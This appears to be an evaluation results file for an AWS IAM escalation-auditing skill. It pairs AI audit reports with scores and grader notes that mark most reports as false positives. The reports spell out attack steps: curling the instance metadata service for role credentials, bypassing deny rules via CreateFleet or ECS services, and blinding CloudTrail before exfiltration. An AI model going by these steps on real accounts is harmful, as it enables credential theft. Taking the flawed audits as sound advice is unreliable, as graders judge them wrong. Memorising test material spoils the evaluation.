anyshift-io/sre-skills / skills/iam-deceptive-escalation-auditor
iam-deceptive-escalation-auditor
Verifiedtests/eval/eval_results.json
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{
"fixture": "01-orphaned-passrole-deny",
"condition": "control",
"trial": 0,
"score": 2,
"scores_by_item": [
1,
0,
0,
0,
0,
1,
0
],
"notes": [
"Agent correctly reads all statements including the explicit Deny on iam:PassRole with Resource:* and the Allow on RunInstances.",
"Ground truth is zero findings (clean fixture); agent incorrectly reports multiple high-severity findings, missing that the Deny neutralises the combo and the policy is effectively clean from an escalation perspective.",
"Agent falsely asserts a live privilege escalation path from ec2:RunInstances + PassRole despite the Deny making PassRole dead; this is a material false positive.",
"Agent recognises the Deny overrides the Allow (correct cross-statement reasoning) but then contradicts itself by treating the post-Deny-removal scenario as a current finding rather than understanding the current state is neutralised.",
"Agent headlines 'High (Privilege Escalation)' for a neutralised grant, which is exactly what the rubric penalises; the correct answer is no escalation exists currently.",
"Agent explicitly notes it cannot determine the privileges of the passed role and mentions other attached policies / permissions boundaries as out-of-scope, matching the boundary requirement.",
"Ground truth top fix is 'None needed on the escalation' (optionally clean up inert statements); agent instead recommends removing the Deny, which is the opposite of the correct guidance and could reintroduce risk."
],
"agent_output": "## IAM Policy Audit: `role/build-fleet-runner`\n\n---\n\n### Finding 1: Explicit Deny on `iam:PassRole` Completely Nullifies the Allow\n\n**Severity: High (Functional Breakage / Security Logic Error)**\n\n#### What's happening\n\nAWS IAM policy evaluation follows a strict precedence order:\n\n1. Explicit Deny\n2. Explicit Allow\n3. Implicit Deny (default)\n\nThe `DenyAllPassRole` statement uses `\"Resource\": \"*\"`, which matches `arn:aws:iam::488213749302:role/legacy-fleet-instance-profile`. Because an explicit Deny **always wins** over an explicit Allow \u2014 regardless of statement order \u2014 the `PassFleetInstanceProfile` Allow is completely overridden.\n\n**Net result:** `iam:PassRole` is denied on all resources, including the intended `legacy-fleet-instance-profile`. The fleet cannot launch instances with an instance profile attached. This policy is broken as written.\n\n#### Fix\n\nRemove the `DenyAllPassRole` statement entirely. The Allow on `iam:PassRole` is already scoped to a single ARN, which is the correct security control. A blanket Deny on `*` adds no additional protection \u2014 the implicit deny already covers everything not explicitly allowed.\n\n```json\n// DELETE this statement entirely:\n{\n \"Sid\": \"DenyAllPassRole\",\n \"Effect\": \"Deny\",\n \"Action\": \"iam:PassRole\",\n \"Resource\": \"*\"\n}\n```\n\n---\n\n### Finding 2: `ec2:RunInstances` on `\"Resource\": \"*\"` Without `iam:PassRole` Scope Guard Creates a Latent Privilege Escalation Path\n\n**Severity: High (Privilege Escalation)**\n\n#### What's happening\n\nOnce Finding 1 is fixed (the Deny removed), the principal can call `iam:PassRole` scoped to `legacy-fleet-instance-profile` and launch EC2 instances via `ec2:RunInstances`. This is the intended behavior.\n\nHowever, `ec2:RunInstances` is granted on `\"Resource\": \"*\"` with **no condition restricting which IAM role can be passed**. The `iam:PassRole` resource constraint is the only guardrail. If that role is ever misconfigured (e.g., a wildcard is accidentally introduced on the PassRole resource), or if a second Allow statement is later added, this principal could pass **any role in the account** \u2014 including administrator roles \u2014 to a newly launched EC2 instance and then retrieve credentials from the instance metadata service (IMDS).\n\nMore immediately: the `ec2:RunInstances` permission with `Resource: *` allows launching instances **without any instance profile at all**, or with any profile the principal can pass. There is no `aws:RequestedRegion`, instance type, AMI, or VPC constraint.\n\n#### Concrete escalation path (post-fix)\n\n```\n1. Attacker compromises build-fleet-runner credentials\n2. Calls ec2:RunInstances targeting any AMI, any instance type, any region\n3. If iam:PassRole scope is ever widened (or a second policy is attached),\n passes a role with AdministratorAccess\n4. SSHes/SSMs into instance \u2192 curl http://169.254.169.254/latest/meta-data/\n iam/security-credentials/<role> \u2192 retrieves admin credentials\n```\n\n#### Fix\n\nApply least-privilege constraints on `ec2:RunInstances` using IAM condition keys:\n\n```json\n{\n \"Sid\": \"RunBuildFleet\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"ec2:RunInstances\",\n \"ec2:DescribeInstances\",\n \"ec2:DescribeImages\"\n ],\n \"Resource\": \"*\",\n \"Condition\": {\n \"StringEquals\": {\n \"aws:RequestedRegion\": \"us-east-1\",\n \"ec2:InstanceType\": [\"m5.large\", \"m5.xlarge\"]\n },\n \"ArnEquals\": {\n \"ec2:AssociatePublicIpAddress\": \"false\"\n }\n }\n}\n```\n\nAdditionally, enforce that only the intended instance profile can be passed by adding a condition to the PassRole statement:\n\n```json\n{\n \"Sid\": \"PassFleetInstanceProfile\",\n \"Effect\": \"Allow\",\n \"Action\": \"iam:PassRole\",\n \"Resource\": \"arn:aws:iam::488213749302:role/legacy-fleet-instance-profile\",\n \"Condition\": {\n \"StringEquals\": {\n \"iam:PassedToService\": \"ec2.amazonaws.com\"\n }\n }\n}\n```\n\nThe `iam:PassedToService` condition ensures this role can only be passed to EC2, not to Lambda, ECS, or other services the principal might be able to invoke.\n\n---\n\n### Finding 3: `legacy-fleet-instance-profile` Role Name Suggests Unreviewed Permissions\n\n**Severity: Medium (Requires Out-of-Band Verification)**\n\n#### What's happening\n\nThe role name `legacy-fleet-instance-profile` contains the word **\"legacy\"**, which is a strong signal that this role's permissions have not been recently audited. Instance profile roles are a common vector for privilege escalation because they inherit whatever permissions were granted at the time of creation, which may include overly broad policies that have since been forgotten.\n\nIf `legacy-fleet-instance-profile` has policies like `ec2:*`, `s3:*`, or any `iam:*` actions, the build fleet runner can indirectly exercise those permissions by launching an instance and querying IMDS.\n\n#### Fix\n\n1. Run `aws iam list-attached-role-policies` and `aws iam list-role-policies` on `legacy-fleet-instance-profile`.\n2. Audit all attached policies for over-broad grants.\n3. Replace \"legacy\" role with a purpose-built role scoped to only what the build fleet instance needs (e.g., S3 read for build artifacts, ECR pull).\n4. Enable IAM Access Analyzer to identify unused permissions on the role.\n\n---\n\n### Summary Table\n\n| # | Finding | Severity | Immediate Action |\n|---|---------|----------|-----------------|\n| 1 | Explicit Deny on `iam:PassRole *` negates the Allow \u2014 policy is broken | High | Remove `DenyAllPassRole` statement |\n| 2 | `ec2:RunInstances` on `*` with no condition constraints; latent escalation via instance profile | High | Add region/instance-type conditions; add `iam:PassedToService` condition |\n| 3 | `legacy-fleet-instance-profile` likely has unreviewed, over-broad permissions | Medium | Audit and replace with scoped role |",
"agent_chars": 5706,
"agent_s": 30.3,
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{
"fixture": "01-orphaned-passrole-deny",
"condition": "control",
"trial": 1,
"score": 3,
"scores_by_item": [
1,
0,
0,
1,
0,
1,
0
],
"notes": [
"Agent correctly parses all statements including PassRole, RunInstances, and the explicit Deny, and understands the Deny overrides the Allow.",
"Ground truth finding is empty (clean policy); agent reports three findings including a 'High' latent escalation, so it does not correctly report 'no real defect'.",
"Agent asserts a material 'High' severity latent privilege escalation finding that the ground truth explicitly says does not exist, constituting a false positive.",
"Agent correctly reasons across statements and recognises that the Deny on '*' neutralises the scoped PassRole Allow, demonstrating proper cross-statement evaluation.",
"Agent headlines a neutralised/latent RunInstances+PassRole combo as 'High' severity, which contradicts the rubric requirement not to headline a neutralised grant as critical.",
"Agent explicitly states it cannot determine the permissions of legacy-fleet-instance-profile from the policy alone, matching the ground truth boundary about target role privileges.",
"Ground truth top fix is 'None needed on the escalation; it is already neutralised'; agent's top fix is to remove the Deny and re-enable PassRole with a condition, which contradicts the correct recommendation."
],
"agent_output": "## IAM Policy Audit: `role/build-fleet-runner`\n\n---\n\n### Finding 1: Explicit Deny on `iam:PassRole` Renders the Allow Statement Dead Code\n\n**Severity: Medium (Operational / Security Hygiene)**\n\n#### What's happening\n\nAWS IAM evaluation logic applies a strict precedence rule: **an explicit Deny always overrides an Allow**, regardless of statement order or resource scope.\n\nThe policy contains:\n- `PassFleetInstanceProfile`: Allow `iam:PassRole` on `arn:aws:iam::488213749302:role/legacy-fleet-instance-profile`\n- `DenyAllPassRole`: Deny `iam:PassRole` on `Resource: *`\n\nThe Deny on `*` subsumes the specific ARN. When the principal attempts to call `iam:PassRole` on `legacy-fleet-instance-profile`, **both** statements match. The Deny wins. The net effective permission is:\n\n```\niam:PassRole \u2192 DENIED on all resources, including legacy-fleet-instance-profile\n```\n\nThe Allow statement is completely neutralized. This means:\n- `ec2:RunInstances` calls that require passing an instance profile **will fail at runtime**\n- The policy does not function as the author intended\n- The intended scoping of PassRole to a single role ARN provides **zero actual restriction**\n\n#### Why this matters beyond \"it's broken\"\n\nThe person who wrote this policy likely believed the Allow on the specific ARN was active, providing a scoped, least-privilege PassRole grant. **It is not.** This is a logic error that creates a false sense of security in either direction:\n- Operators may believe PassRole is safely scoped and permitted \u2192 it is actually fully blocked\n- A future reviewer may remove the Deny thinking it's unnecessary \u2192 it would suddenly expose PassRole with the broad Allow still in place\n\n---\n\n### Finding 2: `ec2:RunInstances` on `Resource: *` Without `iam:PassRole` Creates a Latent Privilege Escalation Path\n\n**Severity: High (if Deny is ever corrected without tightening PassRole)**\n\n#### What's happening\n\n`ec2:RunInstances` on `Resource: *` allows the principal to launch any EC2 instance type, in any subnet, with any AMI. When combined with `iam:PassRole` (even scoped), this is the classic **EC2 privilege escalation path**:\n\n1. Principal calls `ec2:RunInstances`, passing an instance profile attached to a high-privilege role\n2. Code running on that instance inherits the role's permissions via the instance metadata service (IMDS)\n3. Principal SSHs into, SSMs into, or plants user-data on the instance to retrieve credentials\n\nRight now this path is blocked because `iam:PassRole` is fully denied. **But the Deny is almost certainly a bug.** If a developer \"fixes\" the policy by removing `DenyAllPassRole`, the Allow on `legacy-fleet-instance-profile` becomes active \u2014 and the question becomes: what permissions does that role have?\n\n#### The role name is a red flag\n\n`legacy-fleet-instance-profile` \u2014 the word **legacy** suggests:\n- This role may have accumulated permissions over time\n- It is likely not reviewed or rotated regularly\n- It may have overly broad permissions granted in an earlier, less security-conscious era\n\nIf `legacy-fleet-instance-profile` has significant permissions (e.g., `s3:*`, `ec2:*`, broad SSM, or worse), then correcting the Deny without auditing that role immediately creates a privilege escalation path.\n\n---\n\n### Finding 3: `ec2:DescribeInstances` and `ec2:DescribeImages` on `Resource: *`\n\n**Severity: Low (Information Disclosure)**\n\nDescribe permissions cannot be resource-scoped in IAM (AWS does not support resource-level restrictions on most Describe calls). However, it is worth noting these allow the principal to enumerate:\n- All EC2 instances across the account (IDs, IPs, tags, security groups, subnet placement)\n- All AMIs visible to the account, including private ones\n\nThis is a low-severity finding but relevant in multi-tenant or sensitive environments where instance metadata (tags containing environment names, IP ranges, etc.) should not be broadly visible.\n\n---\n\n## Summary Table\n\n| # | Finding | Severity | Current State |\n|---|---------|----------|---------------|\n| 1 | Deny overrides Allow \u2014 `iam:PassRole` is fully blocked | Medium | Broken/Dead code |\n| 2 | `ec2:RunInstances *` + latent PassRole escalation path | High | Latent (blocked by bug) |\n| 3 | Describe permissions expose account-wide inventory | Low | Active |\n\n---\n\n## Recommended Fix\n\nRemove both `iam:PassRole` statements and replace them with a single, correctly scoped Allow. Add a `Condition` to bind PassRole to the EC2 service, which is best practice and prevents the role from being passed to unintended services:\n\n```json\n{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"RunBuildFleet\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"ec2:RunInstances\",\n \"ec2:DescribeInstances\",\n \"ec2:DescribeImages\"\n ],\n \"Resource\": \"*\"\n },\n {\n \"Sid\": \"PassFleetInstanceProfile\",\n \"Effect\": \"Allow\",\n \"Action\": \"iam:PassRole\",\n \"Resource\": \"arn:aws:iam::488213749302:role/legacy-fleet-instance-profile\",\n \"Condition\": {\n \"StringEquals\": {\n \"iam:PassedToService\": \"ec2.amazonaws.com\"\n }\n }\n }\n ]\n}\n```\n\n**Additionally, before deploying this fix:**\n\n1. **Audit `legacy-fleet-instance-profile` immediately.** Pull its attached policies and determine the blast radius if an instance running with this profile were compromised. If it has permissions beyond what the build fleet needs, scope it down.\n2. **Consider replacing it entirely.** A role named \"legacy\" should be replaced with a purpose-built, minimally scoped instance profile for the build fleet.\n3. **Enable IMDSv2 enforcement** on launched instances (`HttpTokens: required` in `ec2:RunInstances` via a condition or a Service Control Policy) to make credential theft from IMDS harder.\n4. **Add a resource condition on `ec2:RunInstances`** if possible \u2014 restricting to specific subnets, instance types, or requiring specific tags \u2014 to reduce the surface area of what the build fleet can launch.",
"agent_chars": 5979,
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"elapsed_s": 41.5
},
{
"fixture": "01-orphaned-passrole-deny",
"condition": "control",
"trial": 2,
"score": 3,
"scores_by_item": [
1,
0,
0,
1,
0,
1,
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],
"notes": [
"Agent correctly reads all statements including the PassRole Allow scoped to a specific ARN and the Deny on Resource '*', and recognizes ec2:RunInstances.",
"Ground truth says findings are empty (clean policy); agent reports multiple findings including a Medium severity misconfiguration and a conditional High escalation path, so it fails to correctly identify the clean state.",
"Agent asserts a material defect (privilege escalation path via PassRole+RunInstances as Finding 3) that the ground truth explicitly says is neutralised, constituting a false positive escalation claim.",
"Agent correctly reasons that the explicit Deny on '*' overrides the scoped Allow, demonstrating cross-statement reasoning about the Deny neutralising the PassRole combo.",
"Agent headlines a neutralised PassRole+RunInstances combo as a High severity escalation (Finding 3), which the ground truth says is a dead path; criticality ranking is incorrect.",
"Agent explicitly notes it cannot determine the permissions of legacy-fleet-instance-profile without further investigation, matching the ground-truth boundary about the target role's privileges.",
"Ground truth says the correct top fix is 'None on the escalation: it is already neutralised'; agent recommends removing the Deny and adding PassedToService condition, which contradicts the ground-truth finding that no escalation fix is needed."
],
"agent_output": "## IAM Policy Audit: `role/build-fleet-runner`\n\n---\n\n### Finding 1: Explicit Deny on `iam:PassRole` Completely Nullifies the Allow \u2014 Misconfiguration, Not Overgrant\n\n**Severity: Medium (Operational / Security Misconfiguration)**\n\n#### What's Happening\n\nAWS evaluates IAM policy statements using a **strict precedence rule: an explicit Deny always wins over any Allow**, regardless of statement order.\n\nThe policy contains:\n\n| Statement | Effect | Action | Resource |\n|---|---|---|---|\n| `PassFleetInstanceProfile` | Allow | `iam:PassRole` | `arn:aws:iam::488213749302:role/legacy-fleet-instance-profile` |\n| `DenyAllPassRole` | Deny | `iam:PassRole` | `*` (wildcard \u2014 matches everything) |\n\nThe Deny on `Resource: \"*\"` matches `arn:aws:iam::488213749302:role/legacy-fleet-instance-profile` because `*` is a superset of that ARN. The Allow is therefore **completely and silently overridden**. The principal **cannot pass any role at all**, including the intended one.\n\nThis is likely the result of a developer adding the Deny as a \"safety net\" without understanding that it cancels the Allow they wrote above it.\n\n#### Why This Matters\n\n1. **Operational breakage**: `ec2:RunInstances` with an instance profile requires `iam:PassRole`. Because PassRole is effectively denied, any attempt to launch an instance with a profile attached will fail with `AccessDenied`. The build fleet will be broken.\n\n2. **False sense of security**: An operator reading this policy might believe the Allow grants PassRole for a specific role and the Deny restricts everything else. That is not how AWS policy evaluation works. The intended \"allow one, deny rest\" pattern is not achievable this way.\n\n3. **The attempted restriction doesn't work the way intended**: If the goal was \"allow *only* this one role to be passed, block all others,\" that goal is completely defeated \u2014 the result is \"block *all* roles,\" including the intended one.\n\n---\n\n### Finding 2: `ec2:RunInstances` on `Resource: \"*\"` \u2014 Overly Broad\n\n**Severity: Low\u2013Medium**\n\n`ec2:RunInstances` with `Resource: \"*\"` allows launching instances of any type, in any VPC/subnet, with any AMI, with no constraints on instance size, region, or networking placement. For a build fleet runner this is broader than necessary and creates cost and abuse risk (e.g., launching GPU instances, launching in unintended regions).\n\n---\n\n### Finding 3: Privilege Escalation Path via `iam:PassRole` + `ec2:RunInstances` (if Deny is removed)\n\n**Severity: High \u2014 if the Deny is corrected without scope-limiting the PassRole target**\n\nThis deserves explicit attention because the natural fix for Finding 1 is to remove the `DenyAllPassRole` statement. **If you do that naively**, the Allow on `iam:PassRole` scoped to `role/legacy-fleet-instance-profile` is restored \u2014 but you need to verify what permissions that role has.\n\n#### The Escalation Path\n\n```\nbuild-fleet-runner\n \u2514\u2500\u25ba ec2:RunInstances (launch any instance)\n \u2514\u2500\u25ba iam:PassRole (attach legacy-fleet-instance-profile to that instance)\n \u2514\u2500\u25ba EC2 instance runs as legacy-fleet-instance-profile\n \u2514\u2500\u25ba if that role has broad permissions (e.g., AdministratorAccess,\n s3:*, iam:*, etc.), the operator of that instance inherits them\n```\n\nThe `build-fleet-runner` principal itself may have limited permissions, but by launching an EC2 instance and attaching a powerful role, anyone who can execute code on that instance (or anyone who controls what code runs on the build fleet) **effectively operates as that role**.\n\n**This is a classic IAM privilege escalation pattern** documented by Rhino Security Labs and in AWS's own security guidance.\n\n#### What to check immediately\n\n```bash\naws iam get-role --role-name legacy-fleet-instance-profile\naws iam list-attached-role-policies --role-name legacy-fleet-instance-profile\naws iam list-role-policies --role-name legacy-fleet-instance-profile\n```\n\nIf `legacy-fleet-instance-profile` has any of the following, this is a **Critical** finding:\n- `AdministratorAccess`\n- `iam:*` or `iam:CreateRole`, `iam:AttachRolePolicy`\n- `sts:AssumeRole` without conditions\n- Broad `s3:*`, `ec2:*`, or data-plane access beyond what build jobs need\n\n---\n\n## Summary Table\n\n| # | Finding | Severity | Impact |\n|---|---|---|---|\n| 1 | Explicit Deny overrides Allow on `iam:PassRole` \u2014 PassRole is fully blocked | Medium | Build fleet broken; policy intent not achieved |\n| 2 | `ec2:RunInstances` on `Resource: \"*\"` | Low\u2013Medium | Unconstrained instance launches |\n| 3 | PassRole + RunInstances = privilege escalation via `legacy-fleet-instance-profile` (if Deny removed) | High (pending role audit) | Potential escalation to any permission the passed role holds |\n\n---\n\n## Recommended Fixes\n\n### Fix 1: Remove the conflicting Deny; use a Condition to scope PassRole correctly\n\nThe **only correct way** to express \"allow passing exactly one role, implicitly deny all others\" is to **scope the Allow tightly and omit the Deny entirely**. An explicit Deny is not needed because anything not explicitly allowed is already denied by default in AWS IAM.\n\n```json\n{\n \"Sid\": \"PassFleetInstanceProfileOnly\",\n \"Effect\": \"Allow\",\n \"Action\": \"iam:PassRole\",\n \"Resource\": \"arn:aws:iam::488213749302:role/legacy-fleet-instance-profile\",\n \"Condition\": {\n \"StringEquals\": {\n \"iam:PassedToService\": \"ec2.amazonaws.com\"\n }\n }\n}\n```\n\nThe `iam:PassedToService` condition ensures this PassRole can only be used when passing the role to EC2, not to Lambda, ECS, or other services \u2014 limiting lateral movement.\n\n**Remove `DenyAllPassRole` entirely.**\n\n### Fix 2: Constrain `ec2:RunInstances`\n\n```json\n{\n \"Sid\": \"RunBuildFleet\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"ec2:RunInstances\",\n \"ec2:DescribeInstances\",\n \"ec2:DescribeImages\"\n ],\n \"Resource\": \"*\",\n \"Condition\": {\n \"StringEquals\": {\n \"ec2:Region\": \"us-east-1\"\n },\n \"StringLike\": {\n \"ec2:InstanceType\": [\"c5.*\", \"m5.*\"]\n }\n }\n}\n```\n\nAdjust region and instance type prefixes to match your actual build fleet requirements.\n\n### Fix 3: Audit and right-size `legacy-fleet-instance-profile`\n\nAudit the role immediately. It should hold **only** the permissions build jobs legitimately need (e.g., read from a specific S3 artifact bucket, write to a specific CloudWatch log group). If it currently holds broad permissions, scope it down before removing the Deny in Fix 1.\n\n---\n\n## Key Takeaway\n\n> **Explicit Deny + Allow on the same action/resource = the Allow is dead.** The policy as written both breaks the build fleet and creates a false impression of controlled PassRole behavior. The fix is not to \"balance\" Allows and Denys \u2014 it is to write a tight Allow and rely on default-deny for everything else.",
"agent_chars": 6724,
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{
"fixture": "02-action-star-blanket-deny",
"condition": "control",
"trial": 0,
"score": 2,
"scores_by_item": [
1,
0,
0,
0,
0,
1,
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],
"notes": [
"The agent correctly parses Action:'*' as expanding to all S3 actions including dangerous control-plane operations, demonstrating proper wildcard expansion.",
"The ground truth says there are NO findings (clean policy); the agent raises 10 findings including CRITICAL ones, missing that the Deny caps the star and the star is resource-scoped to one sandbox bucket making it clean.",
"The agent asserts multiple material defects (CRITICAL cross-account exfiltration, HIGH escalation paths) that the ground truth explicitly says do not exist because the Deny neutralises the star and the resource scope contains it.",
"The agent fails cross-statement reasoning: it does not recognise that the broad Deny statement neutralises the dangerous S3 control-plane actions that Action:'*' would otherwise grant, and that Resource scoping prevents non-S3 action expansion.",
"The agent headlines a Deny-neutralised, Resource-scoped Action:'*' as CRITICAL privilege escalation, which the ground truth explicitly says is not a real escalation \u2014 this is exactly the false positive the rubric warns against.",
"The agent does mention boundaries it cannot determine, specifically referencing SCPs and other attached policies that could re-grant denied services, matching the ground-truth boundary acknowledgment.",
"The ground truth says 'no fix required for security' and the agent recommends extensive remediation including replacing Action:'*' with explicit allowlist and adding multiple deny statements, which contradicts the correct answer of no fix needed."
],
"agent_output": "## IAM Policy Audit: `role/sandbox-experimenter`\n\n---\n\n### Overall Design Intent vs. Reality\n\nThe policy attempts a \"allow everything on one bucket, deny dangerous services everywhere\" pattern. This pattern is **fundamentally flawed** because the Allow statement is `Action: \"*\"` scoped to S3 ARNs \u2014 but AWS evaluates service-to-resource bindings loosely in some cases, and more importantly, `Action: \"*\"` on S3 resources still means every S3 action, many of which are dangerous. The Deny list then has meaningful **gaps**.\n\n---\n\n## Finding 1 \u2014 CRITICAL: `Action: \"*\"` on S3 Enables Cross-Account Exfiltration via Bucket Policy Manipulation\n\n**Severity: CRITICAL**\n\n**What's wrong:**\n\n`Action: \"*\"` scoped to the bucket ARN includes:\n- `s3:PutBucketPolicy`\n- `s3:PutBucketAcl`\n- `s3:PutBucketCORS`\n- `s3:PutBucketWebsite`\n- `s3:PutBucketReplication` (requires IAM role ARN \u2014 but the role can point to an attacker-controlled account)\n- `s3:PutBucketNotification` (can trigger Lambda **in another account**)\n- `s3:PutBucketLogging` (redirect logs to attacker bucket)\n\n**Escalation path:**\n\n```\n1. Attacker calls s3:PutBucketPolicy on team-sandbox-scratch\n2. Sets policy granting s3:GetObject / s3:PutObject to Principal: attacker-account-root\n3. All sandbox data is now readable/writable cross-account\n4. Alternatively: s3:PutBucketReplication pointing to attacker-controlled bucket\n \u2192 all future writes silently replicated externally\n```\n\nThis bypasses all the Deny statements because none of them cover `s3:*`.\n\n**Fix:**\n\nReplace `Action: \"*\"` with an explicit allowlist of S3 actions actually needed:\n\n```json\n\"Action\": [\n \"s3:GetObject\",\n \"s3:PutObject\",\n \"s3:DeleteObject\",\n \"s3:ListBucket\",\n \"s3:GetBucketLocation\"\n],\n```\n\nExplicitly deny the dangerous S3 control-plane actions:\n\n```json\n{\n \"Sid\": \"DenyS3DataPlaneEscalation\",\n \"Effect\": \"Deny\",\n \"Action\": [\n \"s3:PutBucketPolicy\",\n \"s3:DeleteBucketPolicy\",\n \"s3:PutBucketAcl\",\n \"s3:PutBucketCORS\",\n \"s3:PutBucketWebsite\",\n \"s3:PutBucketReplication\",\n \"s3:PutBucketNotification\",\n \"s3:PutBucketLogging\",\n \"s3:PutEncryptionConfiguration\",\n \"s3:PutLifecycleConfiguration\",\n \"s3:PutBucketVersioning\",\n \"s3:PutObjectAcl\",\n \"s3:PutBucketOwnershipControls\",\n \"s3:PutPublicAccessBlock\"\n ],\n \"Resource\": \"*\"\n}\n```\n\n---\n\n## Finding 2 \u2014 HIGH: `s3:PutBucketPublicAccessBlock` / Public ACL Grants Not Denied\n\n**Severity: HIGH**\n\n**What's wrong:**\n\nEven without full bucket policy control, `Action: \"*\"` includes `s3:PutPublicAccessBlock` (to *disable* the block) and `s3:PutObjectAcl` (to make individual objects public). Sequence:\n\n```\n1. s3:PutPublicAccessBlock \u2192 set BlockPublicAcls: false, IgnorePublicAcls: false\n2. s3:PutObjectAcl on any object \u2192 grant public-read\n3. Sensitive data in sandbox bucket is now publicly readable on the internet\n```\n\nThis is a data exfiltration path that requires no cross-account access.\n\n**Fix:** Covered by the Deny list in Finding 1. Additionally, enforce at the **account level** via S3 Account Public Access Block (this is a defense-in-depth control outside the policy itself).\n\n---\n\n## Finding 3 \u2014 HIGH: Missing `glue:*`, `athena:*`, `s3:GetObject` combinations Enable Data Lake Access\n\n**Severity: HIGH**\n\n**What's wrong:**\n\nThe Deny list only blocks compute/identity escalation services. It does **not** block:\n- `glue:*`\n- `athena:*`\n- `redshift-data:*`\n- `datasync:*`\n- `macie2:*`\n\n`Action: \"*\"` on S3 ARNs does not grant these services directly, **but** the `Action: \"*\"` wording means if AWS ever evaluates a non-S3 action against an S3 ARN and matches, it would be allowed. More concretely: this role can call `s3:GetObject` to read **any object in the bucket**, then use `athena` or `glue` (not denied) to query data across the account if Glue/Athena resource policies permit cross-resource access.\n\nMore critically: **the Deny statement does not include `glue:*` or `athena:*`**, so if this role somehow gets invoked in a Glue job context, there is no deny backstop.\n\n**Fix:** Add to the Deny statement:\n\n```json\n\"glue:*\",\n\"athena:*\",\n\"datasync:*\",\n\"redshift-data:*\",\n\"lakeformation:*\"\n```\n\n---\n\n## Finding 4 \u2014 HIGH: `sts:*` Deny is Incomplete \u2014 `aws:PrincipalArn` Confusion / `s3:PutBucketPolicy` Re-enables STS indirectly\n\n**Severity: HIGH**\n\n**What's wrong:**\n\n`sts:AssumeRole` is denied. Good. However:\n\n1. **`sts:GetFederationToken` and `sts:GetSessionToken`** are under `sts:*` so covered \u2014 but only for **this principal calling STS**. \n2. The deeper issue: if Finding 1 is not fixed, this role can write a bucket policy that allows a **different, less-restricted principal** to assume a role via a trust policy that references the bucket condition. This is an **indirect STS bypass** \u2014 the role doesn't call STS itself, it manipulates resources so another principal does.\n\n**Fix:** Fix Finding 1. The `sts:*` Deny is correctly written but only effective after bucket policy manipulation is prevented.\n\n---\n\n## Finding 5 \u2014 HIGH: `ec2:RunInstances` Denied but EC2 Privilege Escalation Remains\n\n**Severity: HIGH**\n\n**What's wrong:**\n\nOnly `ec2:RunInstances` is denied. The following EC2 actions are **not denied** and could be used for escalation:\n\n```\nec2:CreateLaunchTemplate \u2192 encode userdata with credential-stealing script\nec2:ModifyLaunchTemplate \u2192 backdoor existing templates\nec2:RequestSpotInstances \u2192 alternate compute launch path (not RunInstances)\nec2:RequestSpotFleet\nec2:CreateFleet \u2192 another compute launch path bypassing RunInstances deny\nec2:ImportInstance \u2192 import a VM\nec2:CreateImage / ec2:RegisterImage \u2192 snapshot manipulation\n```\n\n**Specific bypass:**\n\n```\n1. ec2:CreateFleet with LaunchTemplateConfig\n \u2192 Launches EC2 instances without calling ec2:RunInstances\n \u2192 AWS IAM evaluates ec2:CreateFleet, not ec2:RunInstances\n \u2192 Deny on ec2:RunInstances does NOT catch this\n```\n\nThis is a well-documented IAM gotcha: `ec2:RunInstances` is not the only way to launch compute.\n\n**Fix:**\n\n```json\n\"ec2:*\" // deny all EC2, not just RunInstances\n```\n\nOr at minimum:\n\n```json\n\"ec2:RunInstances\",\n\"ec2:CreateFleet\",\n\"ec2:RequestSpotInstances\",\n\"ec2:RequestSpotFleet\",\n\"ec2:CreateLaunchTemplate\",\n\"ec2:ModifyLaunchTemplate\",\n\"ec2:CreateLaunchTemplateVersion\",\n\"ec2:ImportInstance\"\n```\n\n---\n\n## Finding 6 \u2014 HIGH: `ecs:RunTask` Denied but ECS Escalation Remains\n\n**Severity: HIGH**\n\n**What's wrong:**\n\nSame pattern as Finding 5. `ecs:RunTask` is denied, but:\n\n```\necs:CreateService \u2192 launches tasks as a service (not RunTask)\necs:UpdateService \u2192 modify existing service to run attacker task definition\necs:RegisterTaskDefinition \u2192 create malicious task definition\necs:StartTask \u2192 another launch path (places task on specific container instance)\n```\n\n**Specific bypass:**\n\n```\n1. ecs:RegisterTaskDefinition \u2192 define task with privileged container + IMDS access\n2. ecs:CreateService \u2192 launch it (bypasses ecs:RunTask deny)\n3. Container calls IMDS \u2192 gets role credentials \u2192 privilege escalation\n```\n\n**Fix:**\n\n```json\n\"ecs:*\" // deny all ECS\n```\n\n---\n\n## Finding 7 \u2014 MEDIUM: `kms:*` Denied but S3 Bucket Key Rotation/Deletion in Scope\n\n**Severity: MEDIUM**\n\n**What's wrong:**\n\n`kms:*` is denied, which is correct. However, `s3:PutEncryptionConfiguration` is **not** denied (covered under `Action: \"*\"` Allow). This allows the principal to:\n\n```\n1. s3:PutEncryptionConfiguration \u2192 change bucket encryption from SSE-KMS to SSE-S3 or disable\n2. This downgrades encryption without touching KMS directly\n3. Future objects stored with weaker encryption\n```\n\nThis is a data integrity/compliance issue rather than a direct escalation, but depending on the compliance posture it may be critical.\n\n**Fix:** Add `s3:PutEncryptionConfiguration` to the S3 Deny list from Finding 1 (already included there).\n\n---\n\n## Finding 8 \u2014 MEDIUM: CloudTrail Manipulation Not Denied\n\n**Severity: MEDIUM**\n\n**What's wrong:**\n\nThe Deny list does not include:\n- `cloudtrail:StopLogging`\n- `cloudtrail:DeleteTrail`\n- `cloudtrail:UpdateTrail`\n- `cloudtrail:PutEventSelectors` (exclude S3 data events from logging)\n\nIf this role is compromised, an attacker can blind the audit trail before exfiltrating data:\n\n```\n1. cloudtrail:PutEventSelectors \u2192 exclude s3.amazonaws.com data events\n2. All subsequent s3:GetObject calls are unlogged\n3. Exfiltrate bucket contents silently\n```\n\n**Fix:** Add to Deny statement:\n\n```json\n\"cloudtrail:StopLogging\",\n\"cloudtrail:DeleteTrail\",\n\"cloudtrail:UpdateTrail\",\n\"cloudtrail:PutEventSelectors\",\n\"cloudtrail:PutInsightSelectors\"\n```\n\n---\n\n## Finding 9 \u2014 MEDIUM: `s3:GetObject` on `Resource: *` Scope Issue\n\n**Severity: MEDIUM**\n\n**What's wrong:**\n\nThe Allow statement correctly scopes to the specific bucket ARNs. However, certain S3 actions operate at the **account level** and are not ARN-scoped, notably:\n\n- `s3:ListAllMyBuckets` \u2192 returns names of **all buckets in the account**\n- `s3:GetAccountPublicAccessBlock`\n- `s3:PutAccountPublicAccessBlock` \u2190 disables account-level public access block for **entire account**\n\n`s3:PutAccountPublicAccessBlock` requires `Resource: arn:aws:s3:::*` which **does match** the wildcard object ARN 